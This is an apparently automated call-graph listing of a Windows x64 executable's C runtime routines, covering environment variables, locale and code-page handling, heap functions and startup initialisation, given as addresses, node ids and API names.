18911 7ff79d070c7b 18910->18911 18912 7ff79d070bf0 18910->18912 18913 7ff79d06a970 _isindst 17 API calls 18911->18913 19054 7ff79d0772b4 18912->19054 18916 7ff79d070c8f 18913->18916 18914->18860 18918 7ff79d070cb8 18916->18918 18927 7ff79d070cc8 18916->18927 18921 7ff79d064f78 _set_fmode 11 API calls 18918->18921 18919 7ff79d070c17 18923 7ff79d064f78 _set_fmode 11 API calls 18919->18923 18920 7ff79d070c38 18922 7ff79d06a9b8 __free_lconv_num 11 API calls 18920->18922 18950 7ff79d070cbd 18921->18950 18922->18897 18924 7ff79d070c1c 18923->18924 18925 7ff79d06a9b8 __free_lconv_num 11 API calls 18924->18925 18925->18909 18926 7ff79d070fab 18929 7ff79d064f78 _set_fmode 11 API calls 18926->18929 18927->18926 18928 7ff79d070cea 18927->18928 18930 7ff79d070d07 18928->18930 19073 7ff79d0710dc 18928->19073 18931 7ff79d070fb0 18929->18931 18934 7ff79d070d7b 18930->18934 18936 7ff79d070d2f 18930->18936 18940 7ff79d070d6f 18930->18940 18933 7ff79d06a9b8 __free_lconv_num 11 API calls 18931->18933 18933->18950 18938 7ff79d070da3 18934->18938 18941 7ff79d06ec08 _set_fmode 11 API calls 18934->18941 18955 7ff79d070d3e 18934->18955 18935 7ff79d070e2e 18949 7ff79d070e4b 18935->18949 18956 7ff79d070e9e 18935->18956 19088 7ff79d06976c 18936->19088 18938->18940 18943 7ff79d06ec08 _set_fmode 11 API calls 18938->18943 18938->18955 18940->18935 18940->18955 19094 7ff79d07705c 18940->19094 18945 7ff79d070d95 18941->18945 18948 7ff79d070dc5 18943->18948 18944 7ff79d06a9b8 __free_lconv_num 11 API calls 18944->18950 18951 7ff79d06a9b8 __free_lconv_num 11 API calls 18945->18951 18946 7ff79d070d39 18952 7ff79d064f78 _set_fmode 11 API calls 18946->18952 18947 7ff79d070d57 18947->18940 18958 7ff79d0710dc 45 API calls 18947->18958 18953 7ff79d06a9b8 __free_lconv_num 11 API calls 18948->18953 18954 7ff79d06a9b8 __free_lconv_num 11 API calls 18949->18954 18951->18938 18952->18955 18953->18940 18957 7ff79d070e54 18954->18957 18955->18944 18956->18955 18959 7ff79d07344c 40 API calls 18956->18959 18961 7ff79d07344c 40 API calls 18957->18961 18964 7ff79d070e5a 18957->18964 18958->18940 18960 7ff79d070edc 18959->18960 18962 7ff79d06a9b8 __free_lconv_num 11 API calls 18960->18962 18963 7ff79d070e86 18961->18963 18966 7ff79d070ee6 18962->18966 18967 7ff79d06a9b8 __free_lconv_num 11 API calls 18963->18967 18965 7ff79d070f9f 18964->18965 18969 7ff79d06ec08 _set_fmode 11 API calls 18964->18969 18968 7ff79d06a9b8 __free_lconv_num 11 API calls 18965->18968 18966->18955 18966->18964 18967->18964 18968->18950 18970 7ff79d070f2b 18969->18970 18971 7ff79d070f3c 18970->18971 18972 7ff79d070f33 18970->18972 18974 7ff79d0704e4 37 API calls 18971->18974 18973 7ff79d06a9b8 __free_lconv_num 11 API calls 18972->18973 18975 7ff79d070f3a 18973->18975 18976 7ff79d070f4a 18974->18976 18980 7ff79d06a9b8 __free_lconv_num 11 API calls 18975->18980 18977 7ff79d070f52 SetEnvironmentVariableW 18976->18977 18978 7ff79d070fdf 18976->18978 18981 7ff79d070f97 18977->18981 18982 7ff79d070f76 18977->18982 18979 7ff79d06a970 _isindst 17 API calls 18978->18979 18983 7ff79d070ff3 18979->18983 18980->18950 18984 7ff79d06a9b8 __free_lconv_num 11 API calls 18981->18984 18985 7ff79d064f78 _set_fmode 11 API calls 18982->18985 18984->18965 18986 7ff79d070f7b 18985->18986 18987 7ff79d06a9b8 __free_lconv_num 11 API calls 18986->18987 18987->18975 18989 7ff79d071029 18988->18989 18990 7ff79d071011 18988->18990 18991 7ff79d06ec08 _set_fmode 11 API calls 18989->18991 18990->18865 18997 7ff79d07104d 18991->18997 18992 7ff79d0710ae 18994 7ff79d06a9b8 __free_lconv_num 11 API calls 18992->18994 18993 7ff79d06a574 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 18995 7ff79d0710d8 18993->18995 18994->18990 18996 7ff79d06ec08 _set_fmode 11 API calls 18996->18997 18997->18992 18997->18996 18998 7ff79d06a9b8 __free_lconv_num 11 API calls 18997->18998 18999 7ff79d06a514 __std_exception_copy 37 API calls 18997->18999 19000 7ff79d0710bd 18997->19000 19002 7ff79d0710d2 18997->19002 18998->18997 18999->18997 19001 7ff79d06a970 _isindst 17 API calls 19000->19001 19001->19002 19002->18993 19004 7ff79d069740 19003->19004 19008 7ff79d069749 19003->19008 19004->19008 19118 7ff79d069208 19004->19118 19008->18880 19008->18881 19010 7ff79d0771a9 19009->19010 19011 7ff79d0762c4 19009->19011 19013 7ff79d064fbc 45 API calls 19010->19013 19012 7ff79d0762d1 19011->19012 19017 7ff79d076307 19011->19017 19015 7ff79d064f78 _set_fmode 11 API calls 19012->19015 19029 7ff79d076278 19012->19029 19014 7ff79d0771dd 19013->19014 19021 7ff79d0771f3 19014->19021 19024 7ff79d07720a 19014->19024 19028 7ff79d0771e2 19014->19028 19018 7ff79d0762db 19015->19018 19016 7ff79d076331 19019 7ff79d064f78 _set_fmode 11 API calls 19016->19019 19017->19016 19026 7ff79d076356 19017->19026 19022 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19018->19022 19020 7ff79d076336 19019->19020 19023 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19020->19023 19025 7ff79d064f78 _set_fmode 11 API calls 19021->19025 19027 7ff79d0762e6 19022->19027 19037 7ff79d076341 19023->19037 19032 7ff79d077226 19024->19032 19033 7ff79d077214 19024->19033 19030 7ff79d0771f8 19025->19030 19031 7ff79d064fbc 45 API calls 19026->19031 19026->19037 19027->18875 19028->18875 19029->18875 19036 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19030->19036 19031->19037 19034 7ff79d07724e 19032->19034 19035 7ff79d077237 19032->19035 19038 7ff79d064f78 _set_fmode 11 API calls 19033->19038 19360 7ff79d078fbc 19034->19360 19351 7ff79d076314 19035->19351 19036->19028 19037->18875 19041 7ff79d077219 19038->19041 19043 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19041->19043 19043->19028 19044 7ff79d064f78 _set_fmode 11 API calls 19044->19028 19046 7ff79d07346e 19045->19046 19047 7ff79d07348b 19045->19047 19046->19047 19048 7ff79d07347c 19046->19048 19049 7ff79d073495 19047->19049 19400 7ff79d077ca8 19047->19400 19050 7ff79d064f78 _set_fmode 11 API calls 19048->19050 19407 7ff79d077ce4 19049->19407 19053 7ff79d073481 memcpy_s 19050->19053 19053->18898 19055 7ff79d064fbc 45 API calls 19054->19055 19056 7ff79d07731a 19055->19056 19059 7ff79d077328 19056->19059 19419 7ff79d06ef94 19056->19419 19422 7ff79d06551c 19059->19422 19061 7ff79d077414 19064 7ff79d077425 19061->19064 19065 7ff79d06a9b8 __free_lconv_num 11 API calls 19061->19065 19062 7ff79d064fbc 45 API calls 19063 7ff79d077397 19062->19063 19067 7ff79d06ef94 5 API calls 19063->19067 19070 7ff79d0773a0 19063->19070 19066 7ff79d070c13 19064->19066 19068 7ff79d06a9b8 __free_lconv_num 11 API calls 19064->19068 19065->19064 19066->18919 19066->18920 19067->19070 19068->19066 19069 7ff79d06551c 14 API calls 19071 7ff79d0773fb 19069->19071 19070->19069 19071->19061 19072 7ff79d077403 SetEnvironmentVariableW 19071->19072 19072->19061 19074 7ff79d07111c 19073->19074 19075 7ff79d0710ff 19073->19075 19076 7ff79d06ec08 _set_fmode 11 API calls 19074->19076 19075->18930 19077 7ff79d071140 19076->19077 19079 7ff79d0711a1 19077->19079 19082 7ff79d06ec08 _set_fmode 11 API calls 19077->19082 19083 7ff79d06a9b8 __free_lconv_num 11 API calls 19077->19083 19084 7ff79d0704e4 37 API calls 19077->19084 19085 7ff79d0711b0 19077->19085 19087 7ff79d0711c4 19077->19087 19078 7ff79d06a574 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 19080 7ff79d0711ca 19078->19080 19081 7ff79d06a9b8 __free_lconv_num 11 API calls 19079->19081 19081->19075 19082->19077 19083->19077 19084->19077 19086 7ff79d06a970 _isindst 17 API calls 19085->19086 19086->19087 19087->19078 19089 7ff79d06977c 19088->19089 19093 7ff79d069785 19088->19093 19089->19093 19444 7ff79d06927c 19089->19444 19093->18946 19093->18947 19095 7ff79d077069 19094->19095 19096 7ff79d077096 19094->19096 19095->19096 19097 7ff79d07706e 19095->19097 19099 7ff79d0770da 19096->19099 19101 7ff79d0770f9 19096->19101 19116 7ff79d0770ce __crtLCMapStringW 19096->19116 19098 7ff79d064f78 _set_fmode 11 API calls 19097->19098 19100 7ff79d077073 19098->19100 19103 7ff79d064f78 _set_fmode 11 API calls 19099->19103 19102 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19100->19102 19104 7ff79d077115 19101->19104 19105 7ff79d077103 19101->19105 19106 7ff79d07707e 19102->19106 19107 7ff79d0770df 19103->19107 19109 7ff79d064fbc 45 API calls 19104->19109 19108 7ff79d064f78 _set_fmode 11 API calls 19105->19108 19106->18940 19110 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19107->19110 19111 7ff79d077108 19108->19111 19112 7ff79d077122 19109->19112 19110->19116 19113 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19111->19113 19112->19116 19491 7ff79d078b78 19112->19491 19113->19116 19116->18940 19117 7ff79d064f78 _set_fmode 11 API calls 19117->19116 19119 7ff79d06921d 19118->19119 19120 7ff79d069221 19118->19120 19119->19008 19133 7ff79d06955c 19119->19133 19141 7ff79d072660 19120->19141 19125 7ff79d069233 19127 7ff79d06a9b8 __free_lconv_num 11 API calls 19125->19127 19126 7ff79d06923f 19167 7ff79d0692ec 19126->19167 19127->19119 19130 7ff79d06a9b8 __free_lconv_num 11 API calls 19131 7ff79d069266 19130->19131 19132 7ff79d06a9b8 __free_lconv_num 11 API calls 19131->19132 19132->19119 19134 7ff79d069585 19133->19134 19135 7ff79d06959e 19133->19135 19134->19008 19135->19134 19136 7ff79d06ec08 _set_fmode 11 API calls 19135->19136 19137 7ff79d06962e 19135->19137 19138 7ff79d070858 WideCharToMultiByte 19135->19138 19140 7ff79d06a9b8 __free_lconv_num 11 API calls 19135->19140 19136->19135 19139 7ff79d06a9b8 __free_lconv_num 11 API calls 19137->19139 19138->19135 19139->19134 19140->19135 19142 7ff79d07266d 19141->19142 19143 7ff79d069226 19141->19143 19186 7ff79d06b294 19142->19186 19147 7ff79d07299c GetEnvironmentStringsW 19143->19147 19148 7ff79d0729cc 19147->19148 19149 7ff79d06922b 19147->19149 19150 7ff79d070858 WideCharToMultiByte 19148->19150 19149->19125 19149->19126 19151 7ff79d072a1d 19150->19151 19152 7ff79d072a24 FreeEnvironmentStringsW 19151->19152 19153 7ff79d06d66c _fread_nolock 12 API calls 19151->19153 19152->19149 19154 7ff79d072a37 19153->19154 19155 7ff79d072a48 19154->19155 19156 7ff79d072a3f 19154->19156 19157 7ff79d070858 WideCharToMultiByte 19155->19157 19158 7ff79d06a9b8 __free_lconv_num 11 API calls 19156->19158 19159 7ff79d072a6b 19157->19159 19160 7ff79d072a46 19158->19160 19161 7ff79d072a79 19159->19161 19162 7ff79d072a6f 19159->19162 19160->19152 19164 7ff79d06a9b8 __free_lconv_num 11 API calls 19161->19164 19163 7ff79d06a9b8 __free_lconv_num 11 API calls 19162->19163 19165 7ff79d072a77 FreeEnvironmentStringsW 19163->19165 19164->19165 19165->19149 19168 7ff79d069311 19167->19168 19169 7ff79d06ec08 _set_fmode 11 API calls 19168->19169 19170 7ff79d069347 19169->19170 19172 7ff79d0693c2 19170->19172 19175 7ff79d06ec08 _set_fmode 11 API calls 19170->19175 19176 7ff79d0693b1 19170->19176 19178 7ff79d06a514 __std_exception_copy 37 API calls 19170->19178 19181 7ff79d0693e7 19170->19181 19182 7ff79d06934f 19170->19182 19184 7ff79d06a9b8 __free_lconv_num 11 API calls 19170->19184 19171 7ff79d06a9b8 __free_lconv_num 11 API calls 19174 7ff79d069247 19171->19174 19173 7ff79d06a9b8 __free_lconv_num 11 API calls 19172->19173 19173->19174 19174->19130 19175->19170 19345 7ff79d069518 19176->19345 19178->19170 19180 7ff79d06a9b8 __free_lconv_num 11 API calls 19180->19182 19183 7ff79d06a970 _isindst 17 API calls 19181->19183 19182->19171 19185 7ff79d0693fa 19183->19185 19184->19170 19187 7ff79d06b2a5 FlsGetValue 19186->19187 19188 7ff79d06b2c0 FlsSetValue 19186->19188 19189 7ff79d06b2ba 19187->19189 19190 7ff79d06b2b2 19187->19190 19188->19190 19191 7ff79d06b2cd 19188->19191 19189->19188 19192 7ff79d06b2b8 19190->19192 19193 7ff79d06a574 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 19190->19193 19194 7ff79d06ec08 _set_fmode 11 API calls 19191->19194 19206 7ff79d072334 19192->19206 19195 7ff79d06b335 19193->19195 19196 7ff79d06b2dc 19194->19196 19197 7ff79d06b2fa FlsSetValue 19196->19197 19198 7ff79d06b2ea FlsSetValue 19196->19198 19200 7ff79d06b318 19197->19200 19201 7ff79d06b306 FlsSetValue 19197->19201 19199 7ff79d06b2f3 19198->19199 19203 7ff79d06a9b8 __free_lconv_num 11 API calls 19199->19203 19202 7ff79d06af64 _set_fmode 11 API calls 19200->19202 19201->19199 19204 7ff79d06b320 19202->19204 19203->19190 19205 7ff79d06a9b8 __free_lconv_num 11 API calls 19204->19205 19205->19192 19229 7ff79d0725a4 19206->19229 19208 7ff79d072369 19244 7ff79d072034 19208->19244 19211 7ff79d072386 19211->19143 19212 7ff79d06d66c _fread_nolock 12 API calls 19213 7ff79d072397 19212->19213 19214 7ff79d07239f 19213->19214 19216 7ff79d0723ae 19213->19216 19215 7ff79d06a9b8 __free_lconv_num 11 API calls 19214->19215 19215->19211 19216->19216 19251 7ff79d0726dc 19216->19251 19219 7ff79d0724aa 19220 7ff79d064f78 _set_fmode 11 API calls 19219->19220 19222 7ff79d0724af 19220->19222 19221 7ff79d072505 19224 7ff79d07256c 19221->19224 19262 7ff79d071e64 19221->19262 19225 7ff79d06a9b8 __free_lconv_num 11 API calls 19222->19225 19223 7ff79d0724c4 19223->19221 19226 7ff79d06a9b8 __free_lconv_num 11 API calls 19223->19226 19228 7ff79d06a9b8 __free_lconv_num 11 API calls 19224->19228 19225->19211 19226->19221 19228->19211 19230 7ff79d0725c7 19229->19230 19231 7ff79d0725d1 19230->19231 19277 7ff79d070348 EnterCriticalSection 19230->19277 19233 7ff79d072643 19231->19233 19235 7ff79d06a574 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 19231->19235 19233->19208 19237 7ff79d07265b 19235->19237 19239 7ff79d0726b2 19237->19239 19241 7ff79d06b294 50 API calls 19237->19241 19239->19208 19242 7ff79d07269c 19241->19242 19243 7ff79d072334 65 API calls 19242->19243 19243->19239 19245 7ff79d064fbc 45 API calls 19244->19245 19246 7ff79d072048 19245->19246 19247 7ff79d072066 19246->19247 19248 7ff79d072054 GetOEMCP 19246->19248 19249 7ff79d07206b GetACP 19247->19249 19250 7ff79d07207b 19247->19250 19248->19250 19249->19250 19250->19211 19250->19212 19252 7ff79d072034 47 API calls 19251->19252 19253 7ff79d072709 19252->19253 19254 7ff79d07285f 19253->19254 19255 7ff79d072746 IsValidCodePage 19253->19255 19261 7ff79d072760 memcpy_s 19253->19261 19256 7ff79d05c5c0 _log10_special 8 API calls 19254->19256 19255->19254 19257 7ff79d072757 19255->19257 19258 7ff79d0724a1 19256->19258 19259 7ff79d072786 GetCPInfo 19257->19259 19257->19261 19258->19219 19258->19223 19259->19254 19259->19261 19278 7ff79d07214c 19261->19278 19344 7ff79d070348 EnterCriticalSection 19262->19344 19279 7ff79d072189 GetCPInfo 19278->19279 19288 7ff79d07227f 19278->19288 19284 7ff79d07219c 19279->19284 19279->19288 19280 7ff79d05c5c0 _log10_special 8 API calls 19281 7ff79d07231e 19280->19281 19281->19254 19282 7ff79d072eb0 48 API calls 19283 7ff79d072213 19282->19283 19289 7ff79d077bf4 19283->19289 19284->19282 19287 7ff79d077bf4 54 API calls 19287->19288 19288->19280 19290 7ff79d064fbc 45 API calls 19289->19290 19291 7ff79d077c19 19290->19291 19294 7ff79d0778c0 19291->19294 19295 7ff79d077901 19294->19295 19296 7ff79d06f910 _fread_nolock MultiByteToWideChar 19295->19296 19299 7ff79d07794b 19296->19299 19297 7ff79d077bc9 19298 7ff79d05c5c0 _log10_special 8 API calls 19297->19298 19300 7ff79d072246 19298->19300 19299->19297 19301 7ff79d06d66c _fread_nolock 12 API calls 19299->19301 19302 7ff79d077a81 19299->19302 19304 7ff79d077983 19299->19304 19300->19287 19301->19304 19302->19297 19303 7ff79d06a9b8 __free_lconv_num 11 API calls 19302->19303 19303->19297 19304->19302 19305 7ff79d06f910 _fread_nolock MultiByteToWideChar 19304->19305 19306 7ff79d0779f6 19305->19306 19306->19302 19325 7ff79d06f154 19306->19325 19309 7ff79d077a41 19309->19302 19311 7ff79d06f154 __crtLCMapStringW 6 API calls 19309->19311 19310 7ff79d077a92 19312 7ff79d06d66c _fread_nolock 12 API calls 19310->19312 19313 7ff79d077b64 19310->19313 19315 7ff79d077ab0 19310->19315 19311->19302 19312->19315 19313->19302 19314 7ff79d06a9b8 __free_lconv_num 11 API calls 19313->19314 19314->19302 19315->19302 19316 7ff79d06f154 __crtLCMapStringW 6 API calls 19315->19316 19317 7ff79d077b30 19316->19317 19317->19313 19318 7ff79d077b66 19317->19318 19319 7ff79d077b50 19317->19319 19321 7ff79d070858 WideCharToMultiByte 19318->19321 19320 7ff79d070858 WideCharToMultiByte 19319->19320 19322 7ff79d077b5e 19320->19322 19321->19322 19322->19313 19323 7ff79d077b7e 19322->19323 19323->19302 19324 7ff79d06a9b8 __free_lconv_num 11 API calls 19323->19324 19324->19302 19331 7ff79d06ed80 19325->19331 19328 7ff79d06f19a 19328->19302 19328->19309 19328->19310 19330 7ff79d06f203 LCMapStringW 19330->19328 19332 7ff79d06eddd 19331->19332 19339 7ff79d06edd8 __vcrt_FlsAlloc 19331->19339 19332->19328 19341 7ff79d06f240 19332->19341 19333 7ff79d06ee0d LoadLibraryExW 19334 7ff79d06eee2 19333->19334 19335 7ff79d06ee32 GetLastError 19333->19335 19336 7ff79d06ef02 GetProcAddress 19334->19336 19337 7ff79d06eef9 FreeLibrary 19334->19337 19335->19339 19336->19332 19338 7ff79d06ef13 19336->19338 19337->19336 19338->19332 19339->19332 19339->19333 19339->19336 19340 7ff79d06ee6c LoadLibraryExW 19339->19340 19340->19334 19340->19339 19342 7ff79d06ed80 __crtLCMapStringW 5 API calls 19341->19342 19343 7ff79d06f26e __crtLCMapStringW 19342->19343 19343->19330 19346 7ff79d06951d 19345->19346 19347 7ff79d0693b9 19345->19347 19348 7ff79d069546 19346->19348 19349 7ff79d06a9b8 __free_lconv_num 11 API calls 19346->19349 19347->19180 19350 7ff79d06a9b8 __free_lconv_num 11 API calls 19348->19350 19349->19346 19350->19347 19352 7ff79d076348 19351->19352 19353 7ff79d076331 19351->19353 19352->19353 19356 7ff79d076356 19352->19356 19354 7ff79d064f78 _set_fmode 11 API calls 19353->19354 19355 7ff79d076336 19354->19355 19357 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19355->19357 19358 7ff79d064fbc 45 API calls 19356->19358 19359 7ff79d076341 19356->19359 19357->19359 19358->19359 19359->19028 19361 7ff79d064fbc 45 API calls 19360->19361 19362 7ff79d078fe1 19361->19362 19365 7ff79d078c38 19362->19365 19368 7ff79d078c86 19365->19368 19366 7ff79d05c5c0 _log10_special 8 API calls 19367 7ff79d077275 19366->19367 19367->19028 19367->19044 19369 7ff79d078d0d 19368->19369 19371 7ff79d078cf8 GetCPInfo 19368->19371 19374 7ff79d078d11 19368->19374 19370 7ff79d06f910 _fread_nolock MultiByteToWideChar 19369->19370 19369->19374 19372 7ff79d078da5 19370->19372 19371->19369 19371->19374 19373 7ff79d06d66c _fread_nolock 12 API calls 19372->19373 19372->19374 19375 7ff79d078ddc 19372->19375 19373->19375 19374->19366 19375->19374 19376 7ff79d06f910 _fread_nolock MultiByteToWideChar 19375->19376 19377 7ff79d078e4a 19376->19377 19378 7ff79d078f2c 19377->19378 19379 7ff79d06f910 _fread_nolock MultiByteToWideChar 19377->19379 19378->19374 19380 7ff79d06a9b8 __free_lconv_num 11 API calls 19378->19380 19381 7ff79d078e70 19379->19381 19380->19374 19381->19378 19382 7ff79d06d66c _fread_nolock 12 API calls 19381->19382 19383 7ff79d078e9d 19381->19383 19382->19383 19383->19378 19384 7ff79d06f910 _fread_nolock MultiByteToWideChar 19383->19384 19385 7ff79d078f14 19384->19385 19386 7ff79d078f1a 19385->19386 19387 7ff79d078f34 19385->19387 19386->19378 19390 7ff79d06a9b8 __free_lconv_num 11 API calls 19386->19390 19394 7ff79d06efd8 19387->19394 19390->19378 19391 7ff79d078f73 19391->19374 19393 7ff79d06a9b8 __free_lconv_num 11 API calls 19391->19393 19392 7ff79d06a9b8 __free_lconv_num 11 API calls 19392->19391 19393->19374 19395 7ff79d06ed80 __crtLCMapStringW 5 API calls 19394->19395 19396 7ff79d06f016 19395->19396 19397 7ff79d06f01e 19396->19397 19398 7ff79d06f240 __crtLCMapStringW 5 API calls 19396->19398 19397->19391 19397->19392 19399 7ff79d06f087 CompareStringW 19398->19399 19399->19397 19401 7ff79d077cca HeapSize 19400->19401 19402 7ff79d077cb1 19400->19402 19403 7ff79d064f78 _set_fmode 11 API calls 19402->19403 19404 7ff79d077cb6 19403->19404 19405 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 19404->19405 19406 7ff79d077cc1 19405->19406 19406->19049 19408 7ff79d077cf9 19407->19408 19409 7ff79d077d03 19407->19409 19410 7ff79d06d66c _fread_nolock 12 API calls 19408->19410 19411 7ff79d077d08 19409->19411 19417 7ff79d077d0f _set_fmode 19409->19417 19416 7ff79d077d01 19410->19416 19414 7ff79d06a9b8 __free_lconv_num 11 API calls 19411->19414 19412 7ff79d077d15 19415 7ff79d064f78 _set_fmode 11 API calls 19412->19415 19413 7ff79d077d42 HeapReAlloc 19413->19416 19413->19417 19414->19416 19415->19416 19416->19053 19417->19412 19417->19413 19418 7ff79d073600 _set_fmode 2 API calls 19417->19418 19418->19417 19420 7ff79d06ed80 __crtLCMapStringW 5 API calls 19419->19420 19421 7ff79d06efb4 19420->19421 19421->19059 19423 7ff79d06556a 19422->19423 19424 7ff79d065546 19422->19424 19425 7ff79d0655c4 19423->19425 19426 7ff79d06556f 19423->19426 19427 7ff79d065555 19424->19427 19429 7ff79d06a9b8 __free_lconv_num 11 API calls 19424->19429 19428 7ff79d06f910 _fread_nolock MultiByteToWideChar 19425->19428 19426->19427 19430 7ff79d065584 19426->19430 19431 7ff79d06a9b8 __free_lconv_num 11 API calls 19426->19431 19427->19061 19427->19062 19435 7ff79d0655e0 19428->19435 19429->19427 19432 7ff79d06d66c _fread_nolock 12 API calls 19430->19432 19431->19430 19432->19427 19433 7ff79d0655e7 GetLastError 19434 7ff79d064eec _fread_nolock 11 API calls 19433->19434 19437 7ff79d0655f4 19434->19437 19435->19433 19438 7ff79d06a9b8 __free_lconv_num 11 API calls 19435->19438 19442 7ff79d065615 19435->19442 19443 7ff79d065622 19435->19443 19436 7ff79d06f910 _fread_nolock MultiByteToWideChar 19440 7ff79d065666 19436->19440 19441 7ff79d064f78 _set_fmode 11 API calls 19437->19441 19438->19442 19439 7ff79d06d66c _fread_nolock 12 API calls 19439->19443 19440->19427 19440->19433 19441->19427 19442->19439 19443->19427 19443->19436 19445 7ff79d069295 19444->19445 19456 7ff79d069291 19444->19456 19465 7ff79d072aac GetEnvironmentStringsW 19445->19465 19448 7ff79d0692ae 19472 7ff79d0693fc 19448->19472 19449 7ff79d0692a2 19450 7ff79d06a9b8 __free_lconv_num 11 API calls 19449->19450 19450->19456 19453 7ff79d06a9b8 __free_lconv_num 11 API calls 19454 7ff79d0692d5 19453->19454 19455 7ff79d06a9b8 __free_lconv_num 11 API calls 19454->19455 19455->19456 19456->19093 19457 7ff79d06963c 19456->19457 19458 7ff79d06965f 19457->19458 19463 7ff79d069676 19457->19463 19458->19093 19459 7ff79d06ec08 _set_fmode 11 API calls 19459->19463 19460 7ff79d0696ea 19462 7ff79d06a9b8 __free_lconv_num 11 API calls 19460->19462 19461 7ff79d06f910 MultiByteToWideChar _fread_nolock 19461->19463 19462->19458 19463->19458 19463->19459 19463->19460 19463->19461 19464 7ff79d06a9b8 __free_lconv_num 11 API calls 19463->19464 19464->19463 19466 7ff79d06929a 19465->19466 19467 7ff79d072ad0 19465->19467 19466->19448 19466->19449 19468 7ff79d06d66c _fread_nolock 12 API calls 19467->19468 19469 7ff79d072b07 memcpy_s 19468->19469 19470 7ff79d06a9b8 __free_lconv_num 11 API calls 19469->19470 19471 7ff79d072b27 FreeEnvironmentStringsW 19470->19471 19471->19466 19473 7ff79d069424 19472->19473 19474 7ff79d06ec08 _set_fmode 11 API calls 19473->19474 19475 7ff79d06945f 19474->19475 19478 7ff79d0694e1 19475->19478 19480 7ff79d06ec08 _set_fmode 11 API calls 19475->19480 19481 7ff79d0694d0 19475->19481 19482 7ff79d0704e4 37 API calls 19475->19482 19485 7ff79d069504 19475->19485 19488 7ff79d06a9b8 __free_lconv_num 11 API calls 19475->19488 19489 7ff79d069467 19475->19489 19476 7ff79d06a9b8 __free_lconv_num 11 API calls 19477 7ff79d0692b6 19476->19477 19477->19453 19479 7ff79d06a9b8 __free_lconv_num 11 API calls 19478->19479 19479->19477 19480->19475 19483 7ff79d069518 11 API calls 19481->19483 19482->19475 19484 7ff79d0694d8 19483->19484 19486 7ff79d06a9b8 __free_lconv_num 11 API calls 19484->19486 19487 7ff79d06a970 _isindst 17 API calls 19485->19487 19486->19489 19490 7ff79d069516 19487->19490 19488->19475 19489->19476 19492 7ff79d078ba1 __crtLCMapStringW 19491->19492 19493 7ff79d06efd8 6 API calls 19492->19493 19494 7ff79d07715e 19492->19494 19493->19494 19494->19116 19494->19117 20462 7ff79d05cbc0 20463 7ff79d05cbd0 20462->20463 20479 7ff79d069c18 20463->20479 20465 7ff79d05cbdc 20485 7ff79d05ceb8 20465->20485 20467 7ff79d05cc49 20468 7ff79d05d19c 7 API calls 20467->20468 20478 7ff79d05cc65 20467->20478 20470 7ff79d05cc75 20468->20470 20469 7ff79d05cbf4 _RTC_Initialize 20469->20467 20490 7ff79d05d068 20469->20490 20472 7ff79d05cc09 20493 7ff79d069084 20472->20493 20480 7ff79d069c29 20479->20480 20481 7ff79d069c31 20480->20481 20482 7ff79d064f78 _set_fmode 11 API calls 20480->20482 20481->20465 20483 7ff79d069c40 20482->20483 20484 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 20483->20484 20484->20481 20486 7ff79d05cec9 20485->20486 20489 7ff79d05cece __scrt_release_startup_lock 20485->20489 20487 7ff79d05d19c 7 API calls 20486->20487 20486->20489 20488 7ff79d05cf42 20487->20488 20489->20469 20518 7ff79d05d02c 20490->20518 20492 7ff79d05d071 20492->20472 20494 7ff79d0690a4 20493->20494 20501 7ff79d05cc15 20493->20501 20495 7ff79d0690ac 20494->20495 20496 7ff79d0690c2 GetModuleFileNameW 20494->20496 20497 7ff79d064f78 _set_fmode 11 API calls 20495->20497 20500 7ff79d0690ed 20496->20500 20498 7ff79d0690b1 20497->20498 20499 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 20498->20499 20499->20501 20502 7ff79d069024 11 API calls 20500->20502 20501->20467 20517 7ff79d05d13c InitializeSListHead 20501->20517 20503 7ff79d06912d 20502->20503 20504 7ff79d069135 20503->20504 20508 7ff79d06914d 20503->20508 20505 7ff79d064f78 _set_fmode 11 API calls 20504->20505 20506 7ff79d06913a 20505->20506 20507 7ff79d06a9b8 __free_lconv_num 11 API calls 20506->20507 20507->20501 20509 7ff79d06916f 20508->20509 20511 7ff79d06919b 20508->20511 20512 7ff79d0691b4 20508->20512 20510 7ff79d06a9b8 __free_lconv_num 11 API calls 20509->20510 20510->20501 20513 7ff79d06a9b8 __free_lconv_num 11 API calls 20511->20513 20515 7ff79d06a9b8 __free_lconv_num 11 API calls 20512->20515 20514 7ff79d0691a4 20513->20514 20516 7ff79d06a9b8 __free_lconv_num 11 API calls 20514->20516 20515->20509 20516->20501 20519 7ff79d05d046 20518->20519 20520 7ff79d05d03f 20518->20520 20522 7ff79d06a25c 20519->20522 20520->20492 20525 7ff79d069e98 20522->20525 20532 7ff79d070348 EnterCriticalSection 20525->20532 19620 7ff79d06b040 19621 7ff79d06b045 19620->19621 19625 7ff79d06b05a 19620->19625 19626 7ff79d06b060 19621->19626 19627 7ff79d06b0aa 19626->19627 19628 7ff79d06b0a2 19626->19628 19629 7ff79d06a9b8 __free_lconv_num 11 API calls 19627->19629 19630 7ff79d06a9b8 __free_lconv_num 11 API calls 19628->19630 19631 7ff79d06b0b7 19629->19631 19630->19627 19632 7ff79d06a9b8 __free_lconv_num 11 API calls 19631->19632 19633 7ff79d06b0c4 19632->19633 19634 7ff79d06a9b8 __free_lconv_num 11 API calls 19633->19634 19635 7ff79d06b0d1 19634->19635 19636 7ff79d06a9b8 __free_lconv_num 11 API calls 19635->19636 19637 7ff79d06b0de 19636->19637 19638 7ff79d06a9b8 __free_lconv_num 11 API calls 19637->19638 19639 7ff79d06b0eb 19638->19639 19640 7ff79d06a9b8 __free_lconv_num 11 API calls 19639->19640 19641 7ff79d06b0f8 19640->19641 19642 7ff79d06a9b8 __free_lconv_num 11 API calls 19641->19642 19643 7ff79d06b105 19642->19643 19644 7ff79d06a9b8 __free_lconv_num 11 API calls 19643->19644 19645 7ff79d06b115 19644->19645 19646 7ff79d06a9b8 